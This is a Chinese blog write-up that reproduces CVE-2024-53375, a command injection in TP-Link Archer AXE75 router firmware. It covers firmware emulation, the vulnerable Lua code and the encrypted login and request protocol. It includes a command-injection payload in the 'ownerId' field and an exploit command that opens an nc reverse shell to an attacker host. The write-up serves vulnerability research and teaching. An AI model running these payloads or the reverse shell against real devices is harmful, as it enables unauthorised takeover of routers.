TP-Link Archer AXE75漏洞复现

lua命令执行加密解密
2025-08-06 11:46
51117

漏洞情报

CVE-2024-53375:TP-Link Archer系列路由器存在一个已认证的远程代码执行(RCE)漏洞。该漏洞存在于TP-Link提供的HomeShield功能中的"tmp_get_sites"函数内。即使未启用HomeShield功能,此漏洞仍可被利用。

本文采用Archer AXE75(EU)_V1_1.2.2 Build 20240827固件进行分析、复现和挖掘

信息收集

拿到固件,binwalk解包,进入squashfs-root目录下

Snipaste_2025-07-28_13-40-04.png

看到是ARM架构32位

我们找到web服务器usr/sbin/uhttpd

uhttpd分析

main函数

找到uhttpd的main函数。该函数用于启动一个轻量级Web服务器

以下按代码逻辑顺序分析各部分功能和实现细节,跳过不需要部分,命令行参数解析部分重点展开。

命令行参数解析

while ( 1 )
{
    v11 = getopt(argc, (char *const *)argv, "fSDRC:K:N:E:I:p:s:h:c:l:L:d:r:m:n:x:i:t:T:A:u:U:");
    v12 = v11;
    if ( v11 <= 0 )
        break;
    switch ( v11 )
    {
        case 'A': ... case 'C': ... case 'D': ... /* 其他选项 */
        default:
            v37 = "Usage: %s -p [addr:]port [-h docroot]
" /* 使用说明 */
            v36 = *argv;
            goto LABEL_91;
    }
}
  • 功能:解析命令行参数,配置服务器的运行参数。
  • 逻辑
    • 使用getopt循环处理选项,选项字符串为"fSDRC:K:N:E:I:p:s:h:c:l:L:d:r:m:n:x:i:t:T:A:u:U:"
    • 将当前选项存入v11(并复制到v12),若v11 <= 0,退出循环。
    • 使用switch根据选项字符执行对应逻辑。
    • 无效选项打印使用说明并退出。
  • 选项字符串
    • 无参数选项:f, S, D, R, l, L
    • 带参数选项:C:, K:, N:, E:, I:, p:, s:, h:, c:, d:, r:, m:, n:, x:, i:, t:, T:, A:, u:, U:
    • optarg存储带参数选项的值。
各选项详细分析

以下部分分析switch中的选项逻辑和功能:

-A:设置最大活动连接数

case 'A':
    v46 = atoi((const char *)optarg);
    p_tm_isdst = &filename[93].tm_isdst;
    goto LABEL_108;
LABEL_108:
    *p_tm_isdst = v46;
    continue;
  • 功能:设置服务器的最大活动连接数。
  • 逻辑:将optarg转换为整数(atoi),存储在filename[93].tm_isdst
  • 细节:影响服务器的并发处理能力,复用struct tm字段存储配置。

-R:启用RFC1918过滤

case 'R':
    p_tm_year = &filename[93].tm_yday;
    goto LABEL_104;
  • 功能:启用RFC1918私有地址过滤。
  • 逻辑:设置filename[93].tm_yday=1
  • 细节:限制私有IP访问。

-T:设置网络超时

case 'T':
    v46 = atoi((const char *)optarg);
    p_tm_isdst = &filename[93].tm_wday;
    goto LABEL_108;
  • 功能:设置网络超时时间(秒)。
  • 逻辑:将optarg转换为整数,存储在filename[93].tm_wday
  • 细节:默认30秒。

-U:设置ubus socket路径

case 'U':
    v48 = (int)optarg;
    p_tm_min = (struct tm *)&filename[94].tm_min;
    goto LABEL_110;
LABEL_110:
    p_tm_min->tm_sec = v48;
    continue;
  • 功能:覆盖ubus socket路径。
  • 逻辑:将optarg存储在filename[94].tm_min
  • 细节:默认路径为/var Rats/ubus.sock

-h:设置文档根目录

case 'h':
    if ( realpath((const char *)optarg, (char *)filename) )
        continue;
    v39 = (const char *)optarg;
    v40 = (FILE *)stderr;
    v41 = _errno_location();
    v42 = strerror(*v41);
    fprintf(v40, "Error: Invalid directory %s: %s
", v39, v42);
    goto LABEL_82;
  • 功能:指定文档根目录。
  • 逻辑
    • 使用realpath解析optargfilename,验证路径。
    • 如果无效,打印错误并退出。
  • 细节:默认根目录为.

-n:设置最大并发请求数

case 'n':
    v46 = atoi((const char *)optarg);
    p_tm_isdst = &filename[93].tm_gmtoff;
    goto LABEL_108;
  • 功能:设置最大并发请求数。
  • 逻辑:将optarg转换为整数,存储在filename[93].tm_gmtoff
  • 细节:默认值8。

-p-s:绑定端口(普通或TLS)

case 'p':
case 's':
    memset(v107, 0, sizeof(v107));
    v16 = (const char *)optarg;
    v17 = strrchr((const char *)optarg, 58);
    if ( v17 )
    {
        v18 = v17 - v16;
        v19 = *(unsigned __int8 *)v16 == 91;
        if ( v16 >= v17 )
            v19 = 0;
        if ( v19 && *(v17 - 1) == 93 )
        {
            v18 -= 2;
            v20 = v16 + 1;
            if ( v18 >= 0x80 )
                v18 = 128;
        }
        else
        {
            v20 = v16;
            if ( v18 >= 0x80 )
                v18 = 128;
        }
        v16 = v17 + 1;
        memcpy(v107, v20, v18);
    }
    if ( v12 != 115 )
        goto LABEL_38;
    if ( sub_149F8(filename) )
    {
        fprintf((FILE *)stderr, "Notice: TLS support is disabled, ignoring '-s %s'
", optarg);
        continue;
    }
    v98 = 1;
LABEL_38:
    v101 = 1;
    if ( v107[0] )
        v21 = v107;
    else
        v21 = 0;
    pai[0] = 0;
    v22 = getaddrinfo(v21, v16, &req, pai);
    /* 后续网络初始化逻辑 */
  • 功能
    • -p:绑定普通HTTP端口。
    • -s:绑定HTTPS端口(需TLS支持)。
  • 逻辑
    • 解析optarg格式为[addr]:port(支持IPv6)。
    • 分割地址(存入v107)和端口(存入v16)。
    • 对于-s,检查TLS支持,若不支持则忽略并设置v98=1
    • 调用getaddrinfo解析地址,创建套接字,绑定端口。
  • 细节
    • 支持IPv4/IPv6,地址为空时绑定所有接口。
    • TLS端口需-C-K配合。

-r:设置认证领域

case 'r':
    v48 = optarg;
    p_tm_min = (struct tm *)&filename[93].tm_min;
    goto LABEL_110;
  • 功能:设置基本认证的领域名称。
  • 逻辑:将optarg存储在filename[93].tm_min
  • 细节:默认"Protected Area"

-t:设置脚本超时

case 't':
    v46 = atoi((const char *)optarg);
    p_tm_isdst = &filename[94].tm_wday;
    goto LABEL_108;
  • 功能:设置CGI/Lua/ubus脚本超时时间(秒)。
  • 逻辑:将optarg转换为整数,存储在filename[94].tm_wday
  • 细节:默认60秒。

-x:设置CGI处理URL前缀

case 'x':
    v48 = optarg;
    p_tm_min = (struct tm *)&filename[93].tm_zone;
    goto LABEL_110;
  • 功能:指定CGI处理器的URL前缀。
  • 逻辑:将optarg存储在filename[93].tm_zone
  • 细节:默认/cgi-bin

默认情况

default:
    v37 = "Usage: %s -p [addr:]port [-h docroot]
" /* 详细使用说明 */
    v36 = *argv;
    goto LABEL_91;
LABEL_91:
    fprintf(v38, v37, v36);
    goto LABEL_82;
  • 功能:处理无效选项,打印使用说明并退出。
  • 逻辑:输出程序用法,设置退出状态v35=1
参数验证
if ( v9 <= 1 )
    v13 = v98;
else
    v13 = 0;
if ( v13 )
{
    v14 = "Error: Missing private key or certificate file
";
    v15 = (FILE *)stderr;
    goto LABEL_81;
}
if ( !v96 )
{
    v14 = "Error: No sockets bound, unable to continue
";
    v15 = (FILE *)stderr;
    goto LABEL_81;
}
  • 功能:验证命令行参数完整性。
  • 逻辑
    • 如果启用了-sv98=1)且v9<=1(缺少证书或私钥),报错退出。
    • 如果v96=0(无成功绑定的套接字),报错退出。
  • 细节
    • v9确保TLS配置完整(需-C-K)。
    • v96记录绑定的套接字数量。

网络初始化

v25 = pai[0];
v97 = 0;
while ( 2 )
{
    if ( v25 )
    {
        v26 = socket(v25->ai_family, v25->ai_socktype, v25->ai_protocol);
        v27 = v26;
        if ( setsockopt(v26, 1, 2, &v101, 4u) )
            goto LABEL_53;
        if ( filename[93].tm_isdst > 0 )
        {
            v104 = 3;
            tm_isdst = filename[93].tm_isdst;
            optval = 1;
            if ( setsockopt(v27, 1, 9, &v101, 4u)
              || setsockopt(v27, 6, 4, &optval, 4u)
              || setsockopt(v27, 6, 5, &tm_isdst, 4u)
              || setsockopt(v27, 6, 6, &v104, 4u) )
            {
                v29 = (FILE *)stderr;
                v30 = _errno_location();
                v31 = strerror(*v30);
                fprintf(v29, "Notice: Unable to enable TCP keep-alive: %s
", v31);
            }
        }
        if ( v25->ai_family == 10 && setsockopt(v27, 41, 26, &v101, 4u) == -1 )
            goto LABEL_53;
        if ( bind(v27, v25->ai_addr, v25->ai_addrlen) == -1 )
            goto LABEL_54;
        if ( listen(v27, 64) == -1 )
            goto LABEL_54;
        v32 = uh_listener_add(v27, filename);
        if ( v32 )
        {
            if ( v12 == 115 )
                p_tm_mon = &filename[94].tm_mon;
            else
                p_tm_mon = 0;
            if ( v12 == 115 )
                p_tm_mon = (int *)p_tm_mon[6];
            *(_DWORD *)(v32 + 52) = p_tm_mon;
            v34 = fcntl(v27, 1);
            fcntl(v27, 2, v34 | 1);
            uh_ufd_add(v32, sub_14858, 65);
            ++v97;
        }
        else
        {
            fputs("uh_listener_add(): Failed to allocate memory
", (FILE *)stderr);
        }
        if ( v27 > 0 )
            close(v27);
LABEL_51:
        v25 = v25->ai_next;
        continue;
    }
    break;
}
freeaddrinfo(pai[0]);
v96 += v97;
  • 功能:创建TCP套接字,绑定地址和端口,启动监听。
  • 逻辑
    • 使用getaddrinfo解析地址(从-p-s)。
    • 为每个地址创建套接字,设置SO_REUSEADDR和TCP keep-alive(若启用)。
    • 调用bindlisten,最大连接数64。
    • 使用uh_listener_add注册监听器到事件循环。
    • 增加v97(成功绑定计数),释放地址信息。
    • 更新v96(总绑定计数)。
  • 细节
    • 支持IPv4/IPv6,TCP keep-alive增强连接稳定性。
    • uh_ufd_add将套接字加入事件循环,回调函数为sub_14858,后续如果想进一步分析http服务从这里入手。

服务器配置

uh_get_operation_mode(&dword_2B45C);
uh_get_local_addr(&dword_2B45C);
uh_get_admin_config(&dword_2B45C);
if ( filename[93].tm_gmtoff <= 0 )
    filename[93].tm_gmtoff = 8;
if ( filename[93].tm_wday <= 0 )
    filename[93].tm_wday = 30;
if ( !uh_index_files )
{
    if ( byte_2B41C[0] )
    {
        memset(pai, 0, 0x80u);
        sprintf((char *)pai, "index.%shtml", byte_2B41C);
        uh_index_add(pai);
    }
    uh_index_add("index.html");
    uh_index_add("index.htm");
    uh_index_add("default.html");
    uh_index_add("default.htm");
}
if ( filename[94].tm_wday <= 0 )
    filename[94].tm_wday = 60;
if ( !filename[93].tm_zone )
    filename[93].tm_zone = "/cgi-bin";
  • 功能:设置服务器运行模式、地址和默认配置。
  • 逻辑
    • 调用uh_get_operation_modeuh_get_local_addruh_get_admin_config配置服务器。
    • 设置默认值:最大并发请求数8(tm_gmtoff)、网络超时30秒(tm_wday)、脚本超时60秒(filename[94].tm_wday)、CGI前缀/cgi-bintm_zone)。
    • 如果未指定索引页面,添加index.html等默认页面。
  • 细节
    • 默认索引页面支持byte_2B41C前缀(如index.<prefix>html)。

插件加载与ubus

v64 = dlopen("uhttpd_ubus.so", 257);
if ( v64 )
{
    filename[94].tm_mday = (int)dlsym(v64, "uh_ubus_init");
    ...
}
v68 = ubus_connect("/var/run/ubus.sock");
dword_2B4AC = v68;
uloop_run(v88);
  • 功能:加载uhttpd_ubus.so插件并连接到ubus服务。

  • 逻辑

    • 使用dlopen加载uhttpd_ubus.so,查找uh_ubus_inituh_ubus_closeuh_ubus_request符号。
    • 如果加载成功,调用uh_ubus_init初始化ubus。
    • 连接到/var/run/ubus.sock,存储连接句柄到dword_2B4AC
    • 将ubus连接加入事件循环(uloop_fd_add)。
    • 调用ubus_add_object注册对象。
  • 细节

    • ubus用于系统服务通信。
    • 插件加载失败会打印警告但继续运行。

http请求处理函数调用链

sub_14858

接受一个新的客户端连接,并对其进行初始化和安全检查,最后调用sub_14784处理HTTP请求

Snipaste_2025-08-04_20-08-40.png

sub_14784

函数 sub_14784 是一个典型的 HTTP请求处理函数,用于处理已建立连接的客户端的数据接收与状态解析。在条件正确时跳转到sub_14760

Snipaste_2025-08-04_20-16-45.png

Snipaste_2025-08-04_20-16-54.png

sub_13FDC

函数sub_13FDC是一个完整的 HTTP 请求处理器,负责从 TCP 流中读取并解析完整的 HTTP 请求头,验证安全性,进行身份认证,路由请求到 CGI 或静态资源,并启动响应流程。下面是解析请求行片段展示

Snipaste_2025-08-04_20-22-55.png

重点看到CGI路由,uh_path_lookup(v2, v43)解析出路径后传给uh_cgi_request(v2, v53, v48)

Snipaste_2025-08-04_20-30-32.png

Snipaste_2025-08-04_20-23-25.png

uh_cgi_request

函数 uh_cgi_request 是一个CGI(通用网关接口)请求处理器,用于在嵌入式 Web 服务器中执行外部 CGI 脚本,并将输出返回给客户端。

函数解析请求参数并设为环境变量,用以和外部程序交互,如下图

Snipaste_2025-08-04_20-37-46.png

函数调用a3表示的外部处理程序,地址a3为uh_path_lookup解析生成

Snipaste_2025-08-04_20-41-31.png

总结

该固件主要功能在lua层实现,uhttpd只起到一个简单的web服务器框架作用,因此这里只是简单分析。

启动uhttpd程序

拿到固件,binwalk解包,进入squashfs-root目录下

复制qemu

cp $(which qemu-arm-static) .

尝试执行下面这条命令

sudo chroot . ./qemu-arm-static /usr/sbin/uhttpd -f -h /www -r Archer_AXE300 -x /cgi-bin -t 120 -T 30 -A 1 -n 3 -R -p 0.0.0.0:80

Snipaste_2025-07-14_15-37-07.png

关掉nginx

sudo systemctl stop nginx

Snipaste_2025-07-14_15-36-50.png

挂载两个目录

sudo mount --bind /dev ./dev
sudo mount --bind /proc ./proc

进入bin/bash

sudo chroot . bin/bash

启动ubusd

ubusd &

提示没有usock

Snipaste_2025-07-28_13-54-48.png

前文分析到的,根据main函数ubus部分,我们需要给ubus.sock创建文件夹var/run

Snipaste_2025-07-14_16-04-02.png

看一下,原文件夹不能用,操作如下

Snipaste_2025-07-28_14-29-33.png

再次启动ubus,退出bash,发现启动ubus成功

Snipaste_2025-07-14_16-07-54.png

重新启动uhttpd成功

Snipaste_2025-07-28_14-30-57.png

用本机ip访问web服务,第一次启动会设置一个密码,之后就用这个密码登录

Snipaste_2025-07-28_14-33-33.png

Snipaste_2025-07-28_14-37-26.png

漏洞分析

漏洞点

漏洞发现者搜索命令执行的危险函数os.execute,在usr/lib/lua/luci/model/avira.lua中发现一处危险点,avira是路由器嵌入的一个防毒软件。

Snipaste_2025-07-28_14-59-06.png

os.execute("cp " .. PROC_PCTL .. ownerId .. " /tmp/visitList")

该型号固件lua代码的习惯,全大写的变量如PROC_PCTL一般定义在文件开头表示固定的某个文件,接下来要挖掘RCE漏洞可以忽略这些变量

local PROC_BLOCK		= "/proc/block/block_insight"

这里的ownerId从http请求读取,没有经过输入验证,需要datasiteType=="visit"startIndex == 0,为了利用漏洞过程不出错,我们给其他需要的变量也给出有效值。

还有一点值得注意的是,我们http接收的data经过json解码,因此,我们发送请求也要经过http编码。

路由分析

我们先找一下function AVIRA_GATHER:tmp_get_sites(app_form)的调用点,发现在该lua文件找不到,于是在lua层,即usr/lib/lua搜索tmp_get_sites

Snipaste_2025-07-28_18-09-34.png

找到luci/controller/admin/smart_network.lua的相关片段,先看到一个定义了操作映射的分发表smart_network_form

Snipaste_2025-07-28_18-17-34.png

表结构如下

local smart_network_form = { 
...
	tmp_avira = {
	...
	["getInsightSites"] = {cb = tmp_get_sites},
	...
	}
...
}

在表下方就是一个路由逻辑,也可以查找smart_network_form的调用找到该逻辑

Snipaste_2025-07-29_20-26-45.png

index注册路由,从这里我们可以确定http请求的url末尾是/admin/smart_network。另外两个函数对应ctl也就是luci/model/controller.lua中的具体实现

Snipaste_2025-07-29_20-30-54.png

luci/model/controller.lua有更清楚的传参和函数调用逻辑,ctl._index逻辑如下,主要做错误处理,并通过http.formvalue()从http请求拿到数据,传给smart_network.lua中的smart_network_dispatch(http_form),这个函数再把同一文件下的分发表smart_network_form和http数据一起给ctl.dispatch

http.formvalue()函数涉及http请求格式,后面会重点分析

Snipaste_2025-07-29_20-34-49.png

ctl.dispatch定义如下,它将http请求中的formoperation查找smart_network_form分发表对应到实际的处理函数,根据我们的目标tmp_get_sites,应设置form=tmp_aviraoperation=getInsightSites

function dispatch(dispatch_tbl, http_form, hook)
    local forms = http_form and http_form["form"]
    local op = http_form and http_form["operation"] or ""

    local success = true
    local own_response
    local errorcode_tbl = {}
    local data, others, errorcode

    local function _action_cb(cb, args)
        local ret, errorcode, error_tbl = cb(unpack(args))
        local data
        if ret then
            data = ret
        else
            success = false
            if errorcode then
                errorcode_tbl[#errorcode_tbl + 1] = errorcode
            end
            if error_tbl then
                data = error_tbl
            end
        end
        return ret, type(data) == "table" and data or nil
    end

    local function _dispatch(form)
        local op_tbl = dispatch_tbl[form]
        local action
        if op_tbl then
            action = op_tbl[op] or op_tbl[".super"]
        end

        if action and action.cb then
            local args = op_tbl[".args"]
                and {http_form, op_tbl[".args"], action.args}
                or {http_form, action.args}
            local ret, data = _action_cb(action.cb, args)

            local others
            if action.others then
                _, others = _action_cb(action.others, args)
            end

            if hook and hook.post_hook then
                _action_cb(hook.post_hook, {ret, action})
            end

            own_response = own_response or action.own_response

            return data, others, action
        else
            success = false
            errorcode_tbl[#errorcode_tbl + 1] = "no such callback"
        end
    end

    local function _merge(tbl, updates, action, form)
        if #updates == 0 then
            -- @updates is a key-value table, or empty array
            local prefix = action and action.merge_prefix
            if prefix then
                util.update_prefix(tbl, updates, prefix)
            else
                util.update(tbl, updates)
            end
        else
            -- @updates is a non-empty array
            util.update(tbl, {[form] = updates})
        end
    end

    if type(forms) ~= "table" then
        -- Single form
        local form = forms
        data, others = _dispatch(form)
    else
        -- Multiple forms
        for _, form in ipairs(forms) do
            local data_ret, others_ret, action = _dispatch(form)
            if data_ret then
                data = data or {}
                _merge(data, data_ret, action, form)
            end

            if others_ret then
                others = others or {}
                _merge(others, others_ret, action, form)
            end
        end
    end

    if #errorcode_tbl > 0 then
        errorcode = table.concat(errorcode_tbl, "&")
    end
 
        return {
            success = success,
            data = data,
            others = others,
            errorcode = errorcode
        }
    
end

到这里,我们对进入漏洞点的过程基本分析清楚了。

http请求示例:

POST /cgi-bin/luci/;stok=abcd1234/admin/smart_network?form=tmp_avira HTTP/1.1
Host: 192.168.0.1
Content-Length: 512
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-requests/2.28.1
Connection: keep-alive

operation=getInsightSites&sign=<encrypted_signature>&data=<encrypted_data>

data内容如下,然后经过json编码。

{
  "ownerId": "../uptime /tmp/visitList;/bin/uname -a > /www/poc.txt;rm -rf",
  "date": "today",
  "type": "visit",
  "startIndex": 0,
  "amount": 1
}

"ownerId"内容可以换成其他命令。

登录与请求格式分析

虽然触发漏洞的路径我们已经清楚了,但是TP-Link的登录和请求验证机制较为复杂,需要对Archer系列路由器的登录逻辑进行细致的分析。漏洞发现者使用了触发CVE-2022-30075漏洞在AX50的接入逻辑,写出可以在本漏洞直接使用的EXP。我们当然可以忽略这一部分,但是分析这个“造轮子”的过程也能增加我们对系统接收请求逻辑的认识。在已有现成登录逻辑的情况下,我们的分析也不用走弯路错路。

抓包分析

首先,我们先考虑登录逻辑。先通过web页面登录,在登录前后抓包。有三个重要的包,共同点是/login路径,分别是两个请求密钥的包和一个发送密码的包。根据“010001”可以猜测这两组密钥都是RSA公钥

Snipaste_2025-08-04_14-40-50.png

Snipaste_2025-08-04_14-41-29.png

Snipaste_2025-08-04_14-42-23.png

登录逻辑

由/login找到usr/lib/lua/luci/controller/login.lua

最底下又是我们熟悉的分发逻辑,这套系统的lua层很多应用功能点都是这一套分发逻辑,而底层功能则是靠local ctl = require "luci.model.controller"这样的形式调用。要注意的是这里有新旧两套分发表,但对我们功能点没有区别。

Snipaste_2025-08-04_14-54-34.png

根据三个包的form和operation定位到对应的处理函数(form=login包对应的operation已被编码,但是简单分析可以知道是login)

Snipaste_2025-08-04_14-59-50.png

form=keys对应的函数如下,从luci/model/asycrypto.lua中的rsa_read_pubkey函数读取RSA公钥。如下图二所示,读取RSA私钥的函数也在同一位置。这一组公私钥的获取形式都是通过asycrypto = require("luci.model.asycrypto").Crypto("rsa")获取,uci_r:get("accountmgnt", "keys", "n")会访问etc/config下名为"accountmgnt"的文件,文件内容展示在下图三。这一组公钥记为password_rsa_npassword_rsa_e

Snipaste_2025-08-04_15-25-21.png

Snipaste_2025-08-04_15-41-00.png

Snipaste_2025-08-04_15-45-14.png

form=auth对应的函数如下,同时发送了另一组RSA公钥和一个序列。RSA公钥获取方式有别于前面,调用 了service.read_rsakey(),我们后面遇到根据获取方式不同即可区分两组密钥

Snipaste_2025-08-04_16-10-45.png

这一组密钥具体获取方式和存储文件如下,记为sign_rsa_nsign_rsa_e

Snipaste_2025-08-04_16-31-41.png

Snipaste_2025-08-04_16-32-31.png

Snipaste_2025-08-04_16-33-35.png

获取序列号方式如下,随机生成后保存在本地,序列号记为sign_seq

Snipaste_2025-08-04_16-36-46.png

最后看到登录逻辑,login函数

首先,参数从http请求获取,由于登录过程我们没输入账号,所以账号为默认admin,此外local rsa2048_enable决定下面用什么解密方式,很重要,我们查找etc/config/system文件发现没有这个值,因此取默认值”false“

Snipaste_2025-08-04_16-41-33.png

Snipaste_2025-08-04_16-48-33.png

先看到密码解密

Snipaste_2025-08-04_16-57-21.png

Snipaste_2025-08-04_16-58-43.png

解密函数和form=keys对应的获取公钥函数、我们看到的获取私钥函数在同一个文件下,通过asycrypto = require("luci.model.asycrypto").Crypto("rsa")调用。因此,我们要提取form=keys的响应包中的密钥password_rsa_npassword_rsa_e加密我们的密码

Snipaste_2025-08-04_17-46-01.png

login函数还实现一个重要功能,就是将"admin"和密码拼接计算hash,然后将登录用到的各种数据通过sauth.write写入cookie,一些数据后面会分析到。

Snipaste_2025-08-05_18-40-39.png

登录后响应会附带一个需要用到的stok

请求格式确认

luci/model/controller.lua中,前面路由分析时提到的、漏洞点和登录程序都要经过的ctl._index(dispatch)函数调用http.formvalue从http请求解析数据。

Snipaste_2025-08-04_19-06-02.png

Snipaste_2025-08-04_18-43-10.png

luci/http.lua中相关代码如下,Request在被调用时,构造函数Request._init_初始化时,从环境变量中读取URL 中?后的内容env.QUERY_STRING并初步处理

params = protocol.urldecode_params(env.QUERY_STRING or "")

urldecode_params将环境变量env.QUERY_STRING解析为键值对,环境变量在前面解读uhttpd的uh_cgi_request函数中解析和设置

同时注意初始化encrypt.need_encrypt = truerenew_aeskey = falserenew_aeskey = false,后面会用到

Snipaste_2025-08-04_19-08-38.png

Snipaste_2025-08-04_19-49-51.png

Snipaste_2025-08-04_19-49-25.png

然后看到Request.formvalue函数,它判断没有读取输入,进入Request._parse_input_函数,再打包参数调用protocol.parse_message_body,最后将判断读取输入的标志置一。

Snipaste_2025-08-04_19-09-18.png

Snipaste_2025-08-04_19-09-51.png

函数parse_message_body读取环境变量中的请求头参数根据抓包内容进入elseif msg.env.REQUEST_METHOD == "POST" and msg.env.CONTENT_TYPE and msg.env.CONTENT_TYPE:match("^application/x%-www%-form%-urlencoded")分支

然后前面提到,encrypt.need_encrypt = true,调用urldecode_message_body_decrypt(src, msg)

Snipaste_2025-08-04_21-04-08.png

urldecode_message_body_decrypt(src, msg)用于读取、解密并解析 HTTP 请求的消息体,它创建函数读取数据流、验证数据长度,然后解密数据,最后对解密的数据解析键值对。重点看解密逻辑local decrypted_data = decrypt(data, msg)

Snipaste_2025-08-05_11-27-16.png

decrypt()函数先匹配请求体中的signdata,因此我们的请求体应该写成这两个部分,接着看两个部分分别是什么。

看到一个比较重要的信息:AES加密。解析sign的函数service.analyze_signature(sig, msg.encrypt.renew_aeskey)传递一个更新AES密钥的标志,据此决定解析sign是否提取AES密钥。如果标志为否,AES密钥和hash值、序列号encrypt.seqnum都已存在,验证hash值和序列号;否则hashsign中提取,序列号encrypt.seqnum现场读取,注意到读序列号的方式和前面form=auth请求时收到的序列在同一处做相同处理,即这里读的就是当时生成的序列号。

最后用AES密钥解密data,也就是说,无论是否更新密钥,密钥都要是存在的。但是前面Request类初始化时,renew_aeskey为false,而aeskey为nil。也就是说,我们得找到改renew_aeskey或者写aeskey的地方。

PixPin_2025-08-05_12-34-49.png

Snipaste_2025-08-05_13-04-51.png

在文件目录下搜索aeskey,发现实现改renew_aeskey或者写aeskey的地方非常少,在Request类所在文件http.lua中同时存在改标志renew_aeskey和写入aeskey的程序

Snipaste_2025-08-05_14-57-17.png

继续利用搜索结果,定位到同一个文件luci/dispatcher.lua,且看行数很可能在同一个函数内

Snipaste_2025-08-05_15-01-09.png

进入文件,相关程序在函数httpdispatch下,这个函数在lua层启动时被usr/lib/lua/luci/sgi/cgi.lua中的run函数调用

Snipaste_2025-08-05_15-52-21.png

函数httpdispatch如下,这里先提取了请求的pathform,然后根据pathform判断是否需要加密和更新AES密钥。需要就会将renew_aeskey置一,同时将需要加解密的标志置一,然后尝试从会话 (sysauth cookie) 中读取加密相关的数据,结合下面的表单我们可以知道系统在登录请求更新AES密钥,在登录后从sysauth cookie中用sdat = sauth.read(sess, true)读取相关数据

Snipaste_2025-08-05_15-20-09.png

看一下判断是否需要加密和更新AES密钥其实就是查表,我们也知道我们的前两个包不需要加密和更新AES密钥,而form=login包则需要加密和更新AES密钥。

Snipaste_2025-08-05_15-34-29-1754379337378-8.png

Snipaste_2025-08-05_15-34-52.png

在登录后,sdat = sauth.read(sess, true)从tmp/luci-sessions里的cookie文件里读取,我们可以用root权限看一下内容,当然这部分和我们的分析没什么关系,只是了解系统登录后的认证方式

Snipaste_2025-08-05_15-55-10.png

回到正题,这里再次展示sign的解析程序,函数function analyze_signature(sig, hasaeskey)/luci/service.lua下。我们知道了登录请求时renew_aeskey为true,我们需要在请求体的sign里构造签名字符串,当然这种格式在后面的请求也能用,只不过aeskeyaeskiv不会被解析。最先对sign做的处理是RSA解密,密钥来源于同文件的read_rsakey(),这个函数读取的是form=auth请求获得的密钥sign_rsa_nsign_rsa_e

Snipaste_2025-08-05_13-04-51.png

构造签名字符串格式如下

k=<aeskey>&i=<aesiv>&h=<hash>&s=<seq>

看回函数decrypt,我们重点研究一下签名sign提取的数据用来做什么,hash前面登录逻辑分析到了,拼接"admin"和密码取哈希值,在这里登录时存储,之后比较验证。seq值减去data的长度后和之前发送的序列号sign_seq比较,我们发送的seq应该是sign_seq+data的长度。

PixPin_2025-08-05_12-34-49.png

最后看到data的AES解码函数aes_dec_data,函数aes_dec_data函数的流程:

  • 验证输入数据dataaeskey的有效性;

  • data进行Base64解码

  • 将解码后的数据写入临时文件

  • 使用AES算法解密文件内容,输出到另一个临时文件

  • 读取解密后的数据,清理临时文件,返回结果

  • 如果任何步骤失败(输入无效、Base64解码失败、文件操作失败、解密失败等),返回nil。

到这里,我们的请求解析流程也完全清楚了

image-20250805175706208.png

总结

整理我们分析到的内容并倒推,和服务器通信并触发漏洞的过程如下

  1. 获取签名密钥(/login?form=auth):

    • 格式:POST http://<target>/cgi-bin/luci/;stok=/login?form=auth {'operation': 'read'}
    • 响应:获取 RSA 密钥(sign_rsa_n, sign_rsa_e)和序列号(sign_seq)。
  2. 获取密码密钥(/login?form=keys):

    • 格式:POST http://<target>/cgi-bin/luci/;stok=/login?form=keys {'operation': 'read'}
    • 响应:获取密码 RSA 密钥(password_rsa_n, password_rsa_e)。
  3. 登录请求(/login?form=login):

    • 格式:POST http://<target>/cgi-bin/luci/;stok=/login?form=login {'sign': <encrypted_signature>, 'data': <encrypted_data>}
    • 数据来源:
      • encrypted_data
        • post_data
          • operation'login'
          • password:使用password_rsa_npassword_rsa_eRSA加密用户输入的密码
        • post_data序列化为URL编码字符串。
        • 使用AES加密,密钥为self.aes_key,初始向量为self.aes_iv
        • 加密结果使用base64.b64encode编码为Base64格式。
      • encrypted_signature
        • 签名内容:k=<aes_key>&i=<aes_iv>&h=<password_hash>&s=<sign_seq+len(encrypted_data)>
          • aes_keyaes_iv:来自self.aes_keyself.aes_iv
          • password_hash:对"admin"+args.p进行MD5哈希(hashlib.md5)。
          • sign_seq:从第一次请求获取的序列号。
        • 使用sign_rsa_nsign_rsa_eRSA加密签名
    • 响应:提取stok
  4. 漏洞利用请求(/admin/smart_network?form=tmp_avira):

    • 格式:POST http://<target>/cgi-bin/luci/;stok=<stok>/admin/smart_network?form=tmp_avira {'sign': <encrypted_signature>, 'data': <encrypted_data>}

    • 数据来源:

      • stok:登录响应。

      • encrypted_data

        • operation'getInsightSites'
        • postdata
          • ownerId:命令注入 payload。
          • date: 'today'
          • type: 'visit'
          • startIndex: 0
          • amount: 1
        • 先对postdata进行json编码,后续处理同登录请求
      • encrypted_signature:处理同登录请求

RCE脚本执行

根据之前的分析,我们已经完全了解应该如何登录并发送请求,这里使用脚本触发漏洞,来自漏洞发现者,-c可以自己输入注入命令。

python3 1.py -t <host ip> -p <设置的axe75密码> -c "mknod /tmp/p p; nc <host ip> 4444 0</tmp/p | /bin/sh >/tmp/p 2>&1; rm -f /tmp/p"

效果如下

Snipaste_2025-07-30_19-27-06.png

Snipaste_2025-07-30_19-27-37.png

命令注入点分析和验证输入合法性

根据本漏洞的思路,在usr/lib/lua目录下搜索lua脚本的危险函数,关键词”os.execute“、”call“、”fork“等,除漏洞点外,用户控制的参数都有严格的验证,下面举例分析。

  1. os.execute("/sbin/switch_mode_multi %s %s >/dev/null 2>&1" %{old_mode, new_mode})
    

    luci/controller/admin/system.lua,漏洞函数

    6f13180c8e65316c47da782e82a1d79b.png

    调用函数点,可以看到old_mode由读取系统配置获得,new_mode由http请求读取。但是new_mode做了严格的验证,只能在有限的几个模式中选择,无法注入命令
    b80c1cad5cac3c0365a888d6af7bd949.png

  2. os.execute("vpn_mgmt client del "..mac)
    

    luci/controller/admin/vpn.lua,漏洞函数,有mac验证

    d90e3073972dc5d0a1faab8d812baeea.png

    找到验证点,,程序使用正则表达式匹配mac地址,确认无法注入

    662e3bcfcd721a8b06052d76eeacf04c.png


附录

参考文章

CVE-2024-53375 TP-Link Archer router series Authenticated RCE :: Thotty

ThottySploity/CVE-2024-53375: TP-Link Archer AXE75 Authenticated Command Injection

CVE-2022-30075/tplink.py at main · aaronsvk/CVE-2022-30075 · GitHub

分享到

参与评论

0 / 200

全部评论 1

Aiyflowers的头像
